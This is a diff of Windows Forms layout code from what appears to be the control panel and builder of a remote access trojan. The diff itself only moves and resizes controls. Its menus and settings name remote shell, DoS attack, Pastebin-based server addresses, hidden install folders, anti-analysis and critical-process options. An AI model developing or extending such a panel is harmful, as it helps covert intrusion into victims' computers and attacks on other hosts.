// restartToolStripMenuItem2
//
this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2";
this.restartToolStripMenuItem2.Size = new System.Drawing.Size(213, 34);
this.restartToolStripMenuItem2.Text = "Restart";
this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click);
//
// updateToolStripMenuItem2
//
this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2";
this.updateToolStripMenuItem2.Size = new System.Drawing.Size(213, 34);
this.updateToolStripMenuItem2.Text = "Update";
this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click);
//
// uninstallToolStripMenuItem
//
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
this.uninstallToolStripMenuItem.Text = "Uninstall";
this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click);
//
// toolStripSeparator3
//
this.toolStripSeparator3.Name = "toolStripSeparator3";
this.toolStripSeparator3.Size = new System.Drawing.Size(210, 6);
//
// showFolderToolStripMenuItem
//
this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem";
this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
this.showFolderToolStripMenuItem.Text = "Show Folder";
this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click);
this.systemToolStripMenuItem.Size = new System.Drawing.Size(237, 32);
this.systemToolStripMenuItem.Text = "Client Managment";
//
// pCToolStripMenuItem
//
@ -640,27 +591,6 @@
this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34);
this.pCToolStripMenuItem.Text = "PC";
//
// logoffToolStripMenuItem1
//
this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1";
this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(195, 34);
this.logoffToolStripMenuItem1.Text = "Logoff";
this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click);
//
// restartToolStripMenuItem3
//
this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3";
this.restartToolStripMenuItem3.Size = new System.Drawing.Size(195, 34);
this.restartToolStripMenuItem3.Text = "Restart";
this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click);
//
// shutdownToolStripMenuItem1
//
this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1";
this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(195, 34);
this.shutdownToolStripMenuItem1.Text = "Shutdown";
this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click);
//
// toolStripSeparator1
//
this.toolStripSeparator1.Name = "toolStripSeparator1";
@ -679,7 +609,7 @@
//
this.blockClientsToolStripMenuItem.Image = global::Server.Properties.Resources.disabled;
this.blockClientsToolStripMenuItem.Name = "blockClientsToolStripMenuItem";
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(213, 34);
this.blockClientsToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.blockClientsToolStripMenuItem.Text = "Block Clients";
this.blockClientsToolStripMenuItem.Click += new System.EventHandler(this.BlockClientsToolStripMenuItem_Click);
//
@ -993,10 +923,80 @@
this.TimerTask.Interval = 5000;
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
//
// lv_group
// shutdownToolStripMenuItem1
//
this.lv_group.Text = "Group";
this.lv_group.Width = 110;
this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1";
this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.shutdownToolStripMenuItem1.Text = "Shutdown";
this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click);
//
// restartToolStripMenuItem3
//
this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3";
this.restartToolStripMenuItem3.Size = new System.Drawing.Size(270, 34);
this.restartToolStripMenuItem3.Text = "Restart";
this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click);
//
// logoffToolStripMenuItem1
//
this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1";
this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.logoffToolStripMenuItem1.Text = "Logoff";
this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click);
//
// closeToolStripMenuItem1
//
this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1";
this.closeToolStripMenuItem1.Size = new System.Drawing.Size(270, 34);
this.closeToolStripMenuItem1.Text = "Close";
this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click);
//
// restartToolStripMenuItem2
//
this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2";
this.restartToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
this.restartToolStripMenuItem2.Text = "Restart";
this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click);
//
// updateToolStripMenuItem2
//
this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2";
this.updateToolStripMenuItem2.Size = new System.Drawing.Size(270, 34);
this.updateToolStripMenuItem2.Text = "Update";
this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click);
//
// uninstallToolStripMenuItem
//
this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.uninstallToolStripMenuItem.Text = "Uninstall";
this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click);
//
// toolStripSeparator3
//
this.toolStripSeparator3.Name = "toolStripSeparator3";
this.toolStripSeparator3.Size = new System.Drawing.Size(267, 6);
//
// showFolderToolStripMenuItem
//
this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem";
this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.showFolderToolStripMenuItem.Text = "Show Folder";
this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click);
//
// clientToolStripMenuItem
//
this.clientToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.closeToolStripMenuItem1,
this.restartToolStripMenuItem2,
this.updateToolStripMenuItem2,
this.uninstallToolStripMenuItem,
this.toolStripSeparator3,
this.showFolderToolStripMenuItem});
this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client;
this.clientToolStripMenuItem.Name = "clientToolStripMenuItem";
this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34);
this.clientToolStripMenuItem.Text = "Client";
//
// Form1
//
@ -1098,18 +1098,8 @@
private System.Windows.Forms.ToolStripMenuItem runToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem stopToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem systemToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem clientToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem uninstallToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem pCToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem logoffToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem3;
private System.Windows.Forms.ToolStripMenuItem shutdownToolStripMenuItem1;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
private System.Windows.Forms.ToolStripMenuItem showFolderToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem seedTorrentToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem remoteShellToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem dOSAttackToolStripMenuItem;
@ -1135,6 +1125,16 @@
private System.Windows.Forms.ToolStripMenuItem setWallpaperToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem filesSearcherToolStripMenuItem;
private System.Windows.Forms.ColumnHeader lv_group;
private System.Windows.Forms.ToolStripMenuItem clientToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem uninstallToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
private System.Windows.Forms.ToolStripMenuItem showFolderToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem logoffToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem3;
private System.Windows.Forms.ToolStripMenuItem shutdownToolStripMenuItem1;
}
}

View File

@ -127,9 +127,11 @@ namespace Server.Forms
this.groupBox1.Controls.Add(this.label6);
this.groupBox1.Controls.Add(this.textPort);
this.groupBox1.Controls.Add(this.label2);
this.groupBox1.Location = new System.Drawing.Point(6, 19);
this.groupBox1.Location = new System.Drawing.Point(4, 12);
this.groupBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(587, 437);
this.groupBox1.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox1.Size = new System.Drawing.Size(391, 284);
this.groupBox1.TabIndex = 1;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "Connection";
@ -137,9 +139,10 @@ namespace Server.Forms
// btnRemoveIP
//
this.btnRemoveIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnRemoveIP.Location = new System.Drawing.Point(190, 156);
this.btnRemoveIP.Location = new System.Drawing.Point(127, 101);
this.btnRemoveIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnRemoveIP.Name = "btnRemoveIP";
this.btnRemoveIP.Size = new System.Drawing.Size(43, 26);
this.btnRemoveIP.Size = new System.Drawing.Size(29, 17);
this.btnRemoveIP.TabIndex = 18;
this.btnRemoveIP.Text = "-";
this.btnRemoveIP.UseVisualStyleBackColor = true;
@ -148,9 +151,10 @@ namespace Server.Forms
// btnAddIP
//
this.btnAddIP.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnAddIP.Location = new System.Drawing.Point(72, 156);
this.btnAddIP.Location = new System.Drawing.Point(48, 101);
this.btnAddIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnAddIP.Name = "btnAddIP";
this.btnAddIP.Size = new System.Drawing.Size(43, 26);
this.btnAddIP.Size = new System.Drawing.Size(29, 17);
this.btnAddIP.TabIndex = 17;
this.btnAddIP.Text = "+";
this.btnAddIP.UseVisualStyleBackColor = true;
@ -159,34 +163,37 @@ namespace Server.Forms
// listBoxIP
//
this.listBoxIP.FormattingEnabled = true;
this.listBoxIP.ItemHeight = 20;
this.listBoxIP.Location = new System.Drawing.Point(72, 66);
this.listBoxIP.Location = new System.Drawing.Point(48, 43);
this.listBoxIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.listBoxIP.Name = "listBoxIP";
this.listBoxIP.Size = new System.Drawing.Size(161, 84);
this.listBoxIP.Size = new System.Drawing.Size(109, 56);
this.listBoxIP.TabIndex = 16;
//
// textIP
//
this.textIP.Location = new System.Drawing.Point(72, 34);
this.textIP.Location = new System.Drawing.Point(48, 22);
this.textIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.textIP.Name = "textIP";
this.textIP.Size = new System.Drawing.Size(161, 26);
this.textIP.Size = new System.Drawing.Size(109, 20);
this.textIP.TabIndex = 15;
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(18, 37);
this.label1.Location = new System.Drawing.Point(12, 24);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(43, 20);
this.label1.Size = new System.Drawing.Size(30, 13);
this.label1.TabIndex = 14;
this.label1.Text = "DNS";
//
// btnRemovePort
//
this.btnRemovePort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnRemovePort.Location = new System.Drawing.Point(480, 156);
this.btnRemovePort.Location = new System.Drawing.Point(320, 101);
this.btnRemovePort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnRemovePort.Name = "btnRemovePort";
this.btnRemovePort.Size = new System.Drawing.Size(43, 26);
this.btnRemovePort.Size = new System.Drawing.Size(29, 17);
this.btnRemovePort.TabIndex = 13;
this.btnRemovePort.Text = "-";
this.btnRemovePort.UseVisualStyleBackColor = true;
@ -195,9 +202,10 @@ namespace Server.Forms
// btnAddPort
//
this.btnAddPort.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.btnAddPort.Location = new System.Drawing.Point(362, 156);
this.btnAddPort.Location = new System.Drawing.Point(241, 101);
this.btnAddPort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnAddPort.Name = "btnAddPort";
this.btnAddPort.Size = new System.Drawing.Size(43, 26);
this.btnAddPort.Size = new System.Drawing.Size(29, 17);
this.btnAddPort.TabIndex = 12;
this.btnAddPort.Text = "+";
this.btnAddPort.UseVisualStyleBackColor = true;
@ -206,18 +214,19 @@ namespace Server.Forms
// listBoxPort
//
this.listBoxPort.FormattingEnabled = true;
this.listBoxPort.ItemHeight = 20;
this.listBoxPort.Location = new System.Drawing.Point(362, 66);
this.listBoxPort.Location = new System.Drawing.Point(241, 43);
this.listBoxPort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.listBoxPort.Name = "listBoxPort";
this.listBoxPort.Size = new System.Drawing.Size(161, 84);
this.listBoxPort.Size = new System.Drawing.Size(109, 56);
this.listBoxPort.TabIndex = 10;
//
// chkPastebin
//
this.chkPastebin.AutoSize = true;
this.chkPastebin.Location = new System.Drawing.Point(22, 307);
this.chkPastebin.Location = new System.Drawing.Point(15, 200);
this.chkPastebin.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.chkPastebin.Name = "chkPastebin";
this.chkPastebin.Size = new System.Drawing.Size(130, 24);
this.chkPastebin.Size = new System.Drawing.Size(89, 17);
this.chkPastebin.TabIndex = 9;
this.chkPastebin.Text = "Use Pastebin";
this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606");
@ -228,9 +237,10 @@ namespace Server.Forms
//
this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtPastebin.Enabled = false;
this.txtPastebin.Location = new System.Drawing.Point(106, 352);
this.txtPastebin.Location = new System.Drawing.Point(71, 229);
this.txtPastebin.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtPastebin.Name = "txtPastebin";
this.txtPastebin.Size = new System.Drawing.Size(271, 26);
this.txtPastebin.Size = new System.Drawing.Size(182, 20);
this.txtPastebin.TabIndex = 8;
this.txtPastebin.Text = global::Server.Properties.Settings.Default.Pastebin;
this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606");
@ -238,25 +248,28 @@ namespace Server.Forms
// label6
//
this.label6.AutoSize = true;
this.label6.Location = new System.Drawing.Point(14, 355);
this.label6.Location = new System.Drawing.Point(9, 231);
this.label6.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label6.Name = "label6";
this.label6.Size = new System.Drawing.Size(71, 20);
this.label6.Size = new System.Drawing.Size(48, 13);
this.label6.TabIndex = 7;
this.label6.Text = "Pastebin";
//
// textPort
//
this.textPort.Location = new System.Drawing.Point(362, 34);
this.textPort.Location = new System.Drawing.Point(241, 22);
this.textPort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.textPort.Name = "textPort";
this.textPort.Size = new System.Drawing.Size(161, 26);
this.textPort.Size = new System.Drawing.Size(109, 20);
this.textPort.TabIndex = 6;
//
// label2
//
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(308, 37);
this.label2.Location = new System.Drawing.Point(205, 24);
this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(38, 20);
this.label2.Size = new System.Drawing.Size(26, 13);
this.label2.TabIndex = 3;
this.label2.Text = "Port";
//
@ -267,9 +280,11 @@ namespace Server.Forms
this.groupBox2.Controls.Add(this.textFilename);
this.groupBox2.Controls.Add(this.label3);
this.groupBox2.Controls.Add(this.label4);
this.groupBox2.Location = new System.Drawing.Point(6, 17);
this.groupBox2.Location = new System.Drawing.Point(4, 11);
this.groupBox2.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox2.Name = "groupBox2";
this.groupBox2.Size = new System.Drawing.Size(585, 439);
this.groupBox2.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox2.Size = new System.Drawing.Size(390, 285);
this.groupBox2.TabIndex = 7;
this.groupBox2.TabStop = false;
this.groupBox2.Text = "Install";
@ -282,17 +297,19 @@ namespace Server.Forms
this.comboBoxFolder.Items.AddRange(new object[] {
"%AppData%",
"%Temp%"});
this.comboBoxFolder.Location = new System.Drawing.Point(103, 149);
this.comboBoxFolder.Location = new System.Drawing.Point(69, 97);
this.comboBoxFolder.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.comboBoxFolder.Name = "comboBoxFolder";
this.comboBoxFolder.Size = new System.Drawing.Size(271, 28);
this.comboBoxFolder.Size = new System.Drawing.Size(182, 21);
this.comboBoxFolder.TabIndex = 8;
//
// checkBox1
//
this.checkBox1.AutoSize = true;
this.checkBox1.Location = new System.Drawing.Point(15, 29);
this.checkBox1.Location = new System.Drawing.Point(10, 19);
this.checkBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.checkBox1.Name = "checkBox1";
this.checkBox1.Size = new System.Drawing.Size(67, 24);
this.checkBox1.Size = new System.Drawing.Size(46, 17);
this.checkBox1.TabIndex = 7;
this.checkBox1.Text = "OFF";
this.checkBox1.UseVisualStyleBackColor = true;
@ -302,27 +319,30 @@ namespace Server.Forms
//
this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.textFilename.Enabled = false;
this.textFilename.Location = new System.Drawing.Point(103, 92);
this.textFilename.Location = new System.Drawing.Point(69, 60);
this.textFilename.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.textFilename.Name = "textFilename";
this.textFilename.Size = new System.Drawing.Size(271, 26);
this.textFilename.Size = new System.Drawing.Size(182, 20);
this.textFilename.TabIndex = 5;
this.textFilename.Text = global::Server.Properties.Settings.Default.Filename;
//
// label3
//
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(11, 152);
this.label3.Location = new System.Drawing.Point(7, 99);
this.label3.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(54, 20);
this.label3.Size = new System.Drawing.Size(36, 13);
this.label3.TabIndex = 3;
this.label3.Text = "Folder";
//
// label4
//
this.label4.AutoSize = true;
this.label4.Location = new System.Drawing.Point(11, 95);
this.label4.Location = new System.Drawing.Point(7, 62);
this.label4.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(74, 20);
this.label4.Size = new System.Drawing.Size(49, 13);
this.label4.TabIndex = 4;
this.label4.Text = "Filename";
//
@ -337,9 +357,11 @@ namespace Server.Forms
this.groupBox3.Controls.Add(this.txtMutex);
this.groupBox3.Controls.Add(this.label5);
this.groupBox3.Controls.Add(this.chkAnti);
this.groupBox3.Location = new System.Drawing.Point(6, 17);
this.groupBox3.Location = new System.Drawing.Point(4, 11);
this.groupBox3.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox3.Name = "groupBox3";
this.groupBox3.Size = new System.Drawing.Size(585, 439);
this.groupBox3.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox3.Size = new System.Drawing.Size(390, 285);
this.groupBox3.TabIndex = 9;
this.groupBox3.TabStop = false;
this.groupBox3.Text = "MISC";
@ -347,39 +369,42 @@ namespace Server.Forms
// txtGroup
//
this.txtGroup.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Group", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtGroup.Location = new System.Drawing.Point(23, 75);
this.txtGroup.Location = new System.Drawing.Point(15, 49);
this.txtGroup.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtGroup.Name = "txtGroup";
this.txtGroup.Size = new System.Drawing.Size(301, 26);
this.txtGroup.Size = new System.Drawing.Size(202, 20);
this.txtGroup.TabIndex = 17;
this.txtGroup.Text = global::Server.Properties.Settings.Default.Group;
//
// label17
//
this.label17.AutoSize = true;
this.label17.Location = new System.Drawing.Point(19, 43);
this.label17.Location = new System.Drawing.Point(13, 28);
this.label17.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label17.Name = "label17";
this.label17.Size = new System.Drawing.Size(54, 20);
this.label17.Size = new System.Drawing.Size(36, 13);
this.label17.TabIndex = 16;
this.label17.Text = "Group";
//
// numDelay
//
this.numDelay.Location = new System.Drawing.Point(27, 368);
this.numDelay.Location = new System.Drawing.Point(18, 239);
this.numDelay.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.numDelay.Maximum = new decimal(new int[] {
999,
0,
0,
0});
this.numDelay.Minimum = new decimal(new int[] {
1,
3,
0,
0,
0});
this.numDelay.Name = "numDelay";
this.numDelay.Size = new System.Drawing.Size(84, 26);
this.numDelay.Size = new System.Drawing.Size(56, 20);
this.numDelay.TabIndex = 15;
this.numDelay.Value = new decimal(new int[] {
1,
3,
0,
0,
0});
@ -387,16 +412,18 @@ namespace Server.Forms
// label16
//
this.label16.AutoSize = true;
this.label16.Location = new System.Drawing.Point(23, 336);
this.label16.Location = new System.Drawing.Point(15, 218);
this.label16.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label16.Name = "label16";
this.label16.Size = new System.Drawing.Size(123, 20);
this.label16.Size = new System.Drawing.Size(83, 13);
this.label16.TabIndex = 14;
this.label16.Text = "Delay (seconds)";
//
// pictureBox1
//
this.pictureBox1.Image = global::Server.Properties.Resources.uac;
this.pictureBox1.Location = new System.Drawing.Point(183, 275);
this.pictureBox1.Location = new System.Drawing.Point(122, 179);
this.pictureBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(32, 32);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
@ -406,9 +433,10 @@ namespace Server.Forms
// chkBdos
//
this.chkBdos.AutoSize = true;
this.chkBdos.Location = new System.Drawing.Point(23, 283);
this.chkBdos.Location = new System.Drawing.Point(15, 184);
this.chkBdos.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.chkBdos.Name = "chkBdos";
this.chkBdos.Size = new System.Drawing.Size(143, 24);
this.chkBdos.Size = new System.Drawing.Size(98, 17);
this.chkBdos.TabIndex = 12;
this.chkBdos.Text = "Process Critical";
this.chkBdos.UseVisualStyleBackColor = true;
@ -416,27 +444,31 @@ namespace Server.Forms
// txtMutex
//
this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtMutex.Location = new System.Drawing.Point(23, 163);
this.txtMutex.Location = new System.Drawing.Point(15, 106);
this.txtMutex.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtMutex.Name = "txtMutex";
this.txtMutex.Size = new System.Drawing.Size(301, 26);
this.txtMutex.Size = new System.Drawing.Size(202, 20);
this.txtMutex.TabIndex = 11;
this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex;
this.txtMutex.MouseEnter += new System.EventHandler(this.txtMutex_MouseEnter);
//
// label5
//
this.label5.AutoSize = true;
this.label5.Location = new System.Drawing.Point(19, 131);
this.label5.Location = new System.Drawing.Point(13, 85);
this.label5.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(52, 20);
this.label5.Size = new System.Drawing.Size(36, 13);
this.label5.TabIndex = 10;
this.label5.Text = "Mutex";
//
// chkAnti
//
this.chkAnti.AutoSize = true;
this.chkAnti.Location = new System.Drawing.Point(23, 232);
this.chkAnti.Location = new System.Drawing.Point(15, 151);
this.chkAnti.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.chkAnti.Name = "chkAnti";
this.chkAnti.Size = new System.Drawing.Size(125, 24);
this.chkAnti.Size = new System.Drawing.Size(85, 17);
this.chkAnti.TabIndex = 9;
this.chkAnti.Text = "Anti Analysis";
this.chkAnti.UseVisualStyleBackColor = true;
@ -451,18 +483,20 @@ namespace Server.Forms
this.tabControl1.Controls.Add(this.tabPage6);
this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.tabControl1.Location = new System.Drawing.Point(0, 0);
this.tabControl1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabControl1.Name = "tabControl1";
this.tabControl1.SelectedIndex = 0;
this.tabControl1.Size = new System.Drawing.Size(607, 497);
this.tabControl1.Size = new System.Drawing.Size(405, 323);
this.tabControl1.TabIndex = 10;
//
// tabPage1
//
this.tabPage1.Controls.Add(this.groupBox1);
this.tabPage1.Location = new System.Drawing.Point(4, 29);
this.tabPage1.Location = new System.Drawing.Point(4, 22);
this.tabPage1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage1.Name = "tabPage1";
this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
this.tabPage1.Size = new System.Drawing.Size(599, 464);
this.tabPage1.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage1.Size = new System.Drawing.Size(397, 297);
this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "Connection";
this.tabPage1.UseVisualStyleBackColor = true;
@ -470,10 +504,11 @@ namespace Server.Forms
// tabPage2
//
this.tabPage2.Controls.Add(this.groupBox2);
this.tabPage2.Location = new System.Drawing.Point(4, 29);
this.tabPage2.Location = new System.Drawing.Point(4, 22);
this.tabPage2.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage2.Name = "tabPage2";
this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
this.tabPage2.Size = new System.Drawing.Size(599, 464);
this.tabPage2.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage2.Size = new System.Drawing.Size(397, 297);
this.tabPage2.TabIndex = 1;
this.tabPage2.Text = "Install";
this.tabPage2.UseVisualStyleBackColor = true;
@ -481,10 +516,11 @@ namespace Server.Forms
// tabPage3
//
this.tabPage3.Controls.Add(this.groupBox3);
this.tabPage3.Location = new System.Drawing.Point(4, 29);
this.tabPage3.Location = new System.Drawing.Point(4, 22);
this.tabPage3.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage3.Name = "tabPage3";
this.tabPage3.Padding = new System.Windows.Forms.Padding(3);
this.tabPage3.Size = new System.Drawing.Size(599, 464);
this.tabPage3.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage3.Size = new System.Drawing.Size(397, 297);
this.tabPage3.TabIndex = 2;
this.tabPage3.Text = "Misc";
this.tabPage3.UseVisualStyleBackColor = true;
@ -492,10 +528,11 @@ namespace Server.Forms
// tabPage4
//
this.tabPage4.Controls.Add(this.groupBox4);
this.tabPage4.Location = new System.Drawing.Point(4, 29);
this.tabPage4.Location = new System.Drawing.Point(4, 22);
this.tabPage4.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage4.Name = "tabPage4";
this.tabPage4.Padding = new System.Windows.Forms.Padding(3);
this.tabPage4.Size = new System.Drawing.Size(599, 464);
this.tabPage4.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage4.Size = new System.Drawing.Size(397, 297);
this.tabPage4.TabIndex = 3;
this.tabPage4.Text = "Assembly";
this.tabPage4.UseVisualStyleBackColor = true;
@ -520,9 +557,11 @@ namespace Server.Forms
this.groupBox4.Controls.Add(this.label7);
this.groupBox4.Controls.Add(this.txtProduct);
this.groupBox4.Controls.Add(this.label8);
this.groupBox4.Location = new System.Drawing.Point(6, 17);
this.groupBox4.Location = new System.Drawing.Point(4, 11);
this.groupBox4.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox4.Name = "groupBox4";
this.groupBox4.Size = new System.Drawing.Size(585, 439);
this.groupBox4.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox4.Size = new System.Drawing.Size(390, 285);
this.groupBox4.TabIndex = 8;
this.groupBox4.TabStop = false;
